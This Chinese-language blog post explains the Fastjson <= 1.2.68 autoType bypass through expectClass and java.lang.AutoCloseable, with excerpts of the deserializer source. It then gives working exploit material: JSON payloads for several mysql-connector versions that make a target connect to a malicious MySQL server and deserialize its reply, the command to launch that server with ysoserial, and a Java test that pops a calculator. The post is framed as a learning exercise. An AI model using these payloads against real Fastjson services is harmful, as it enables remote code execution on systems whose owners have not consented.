声明
本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。
Fastjson <= 1.2.68 expectClass 绕过原理
当 fastjson 更新到 1.2.68 之后,大部分安全漏洞都已经封堵住了,但不排除还有人手里握着一些 0day 没有放出来。
fastjson 1.2.68 在进行反序列化的时候,会进入 ObjectDeserializer
的 deserialze
方法,而 安全人员发现 当 @type
为 java.lang.AutoCloseable
的时候会找到实现类 JavaBeanDeserializer
调用 deserialze
,而 JavaBeanDeserializer
的 deserialze
方法还会继续解析得到第二个 @type
对应的值进行反序列化,并且 expectClass
则不再是 null
值,而是 java.lang.AutoCloseable
。
JavaBeanDeserializer
的 deserialze
部分代码示例。
if (lexer.token() == JSONToken.LITERAL_STRING) {
// 第二个 @type 的值
String typeName = lexer.stringVal();
lexer.nextToken(JSONToken.COMMA);
if (typeName.equals(beanInfo.typeName)|| parser.isEnabled(Feature.IgnoreAutoType)) {
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken();
break;
}
continue;
}
// 这里没有获取到 deserializer
ObjectDeserializer deserializer = getSeeAlso(config, this.beanInfo, typeName);
Class<?> userType = null;
if (deserializer == null) {
// 第一个 @type 的值
Class<?> expectClass = TypeUtils.getClass(type);
// 在包含 expectClass 时会绕过
userType = config.checkAutoType(typeName, expectClass, lexer.getFeatures());
deserializer = parser.getConfig().getDeserializer(userType);
}
// 再次进行反序列化,会触发反射构造实例
Object typedObject = deserializer.deserialze(parser, userType, fieldName);
if (deserializer instanceof JavaBeanDeserializer) {
JavaBeanDeserializer javaBeanDeserializer = (JavaBeanDeserializer) deserializer;
if (typeKey != null) {
FieldDeserializer typeKeyFieldDeser = javaBeanDeserializer.getFieldDeserializer(typeKey);
if (typeKeyFieldDeser != null) {
typeKeyFieldDeser.setValue(typedObject, typeName);
}
}
}
return (T) typedObject;
}
ParseConfig
的 checkAutoType
部分代码示例,只要第二个 @type
继承了 第一个 @type
即可触发。
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
Fastjson <= 1.2.68 利用链
在 black hat usa 2021 议题上,腾讯玄武实验室披露了四条利用链,分别是:
- Mysql connector RCE
- Apache commons io read and write files
- Jetty SSRF
- Apache xbean-reflect RCE
其中 Mysql 的利用链是因为可以构造任意 URL 使用 JDBC 连接,连接至恶意 Mysql 服务器,服务器返回的内容被 JDBC 反序列化。
Mysql connector 5.1.x
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "mysql.host",
"portToConnectTo": 3306,
"info": {
"user": "user",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
• Mysql connector 6.0.2 or 6.0.3
{
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
}
}
}
• Mysql connector 6.x or < 8.0.20
{
"@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy":{
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":{
"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":[
{
"host":"mysql.host"
}
],
"slaves":[
],
"properties":{
"host":"mysql.host",
"user":"user",
"dbname":"dbname",
"password":"pass",
"queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true"
}
}
}
}
JDBC 利用链原理
我们先来看一段每一个Java 开发都要学习的 JDBC 操作数据库的示例:
import java.sql.*;
public class MySQLDemo {
static final String JDBC_DRIVER = "com.mysql.jdbc.Driver";
static final String DB_URL = "jdbc:mysql://localhost:3306/test";
static final String USERNAME = "root";
static final String PASSWORD = "123456";
public static void main(String[] args) {
Connection conn = null;
Statement stmt = null;
try {
// 注册 JDBC 驱动
Class.forName(JDBC_DRIVER);
// 打开链接
System.out.println("连接数据库...");
conn = DriverManager.getConnection(DB_URL, USERNAME, PASSWORD);
// 执行查询
System.out.println(" 实例化Statement对象...");
stmt = conn.createStatement();
String sql;
sql = "SELECT * FROM test";
ResultSet rs = stmt.executeQuery(sql);
int index = 0;
// 展开结果集数据库
while (rs.next()) {
// getObject 会根据字段不同的类型做不同的处理
Object object = rs.getObject(index);
System.out.println(object);
index++;
}
// 完成后关闭
rs.close();
} catch (Exception se) {
se.printStackTrace();
} finally {
// 关闭资源
try {
if (stmt != null) stmt.close();
} catch (SQLException ignored) {
}
try {
if (conn != null) conn.close();
} catch (SQLException ignored) {
}
}
System.out.println("Goodbye!");
}
}
其中 ResultSetImpl
的 getObject
方法会根据Mysql中字段的类型做不同的处理,源码如下:
@Override
public Object getObject(int columnIndex) throws SQLException {
checkRowPos();
checkColumnBounds(columnIndex);
int columnIndexMinusOne = columnIndex - 1;
// we can't completely rely on code below because primitives have default values for null (e.g. int->0)
if (this.thisRow.getNull(columnIndexMinusOne)) {
return null;
}
Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
// TODO Field sets binary and blob flags if the length of BIT field is > 1; is it needed at all?
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
Object obj = data;
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException cnfe) {
throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
+ Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
} catch (IOException ex) {
obj = data; // not serialized?
}
} else {
return getString(columnIndex);
}
}
return obj;
}
return data;
}
return field.isSingleBit() ? Boolean.valueOf(getBoolean(columnIndex)) : getBytes(columnIndex);
// 代码省略
case BINARY:
case VARBINARY:
case TINYBLOB:
case MEDIUMBLOB:
case LONGBLOB:
case BLOB:
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
Object obj = data;
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException cnfe) {
throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
+ Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
} catch (IOException ex) {
obj = data; // not serialized?
}
} else {
return getString(columnIndex);
}
}
return obj;
}
return data;
}
return getBytes(columnIndex);
// 代码省略
}
}
可以看到在处理“大字符串”时会进行反序列化,当 JDBC 首次连接MySQL服务器时,会主动使用sql查询(不同版本的JDBC查询的内容略有不同),恶意Mysql服务器即可返回我们构造好的恶意数据,最后就可以触发任意命令执行。
恶意MySQL服务可以使用 python3实现的 https://github.com/fnmsd/MySQL_Fake_Server
也可以使用我参考 MySQL_Fake_Server
后用 Go 实现的 https://github.com/dushixiang/evil-mysql-server
以 mysql-connector-java 5.1.11 为例,先启动恶意Mysql 服务端。
这里没有使用自己构造恶意数据,而是使用了一个开源的 Java 反序列化工具 ysoserial
./evil-mysql-server -addr 3306 -java java -ysoserial ysoserial-0.0.6-SNAPSHOT-all.jar
测试代码
需要pom依赖中存在
commons-collections 3.1
import com.alibaba.fastjson.JSON;
public class Evil6 {
public static void main(String[] args) {
// 5.1.11-5.1.48(反序列化链)
String json = "{\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"com.mysql.jdbc.JDBC4Connection\",\n" +
" \"hostToConnectTo\": \"127.0.0.1\",\n" +
" \"portToConnectTo\": 3306,\n" +
" \"info\": {\n" +
" \"user\": \"yso_CommonsCollections5_calc\",\n" +
" \"password\": \"pass\",\n" +
" \"statementInterceptors\": \"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\n" +
" \"autoDeserialize\": \"true\",\n" +
" \"NUM_HOSTS\": \"1\"\n" +
" },\n" +
" \"databaseToConnectTo\": \"dbname\",\n" +
" \"url\": \"\"\n" +
"}";
JSON.parseObject(json);
}
}
运行之后便可以看到本机打开了计算器,其他版本的 mysql-connector-java 也类似,可以自行挖掘更多利用链。
注
文中测试使用系统和工具版本如下:
- 操作系统 windows 10 20H2
- jdk java 1.8.0_301
- fastjson 1.2.68
- commons-collections 3.1
- ysoserial 0.0.6-SNAPSHOT
- 代码仓库 https://github.com/dushixiang/java-serialization-vulnerability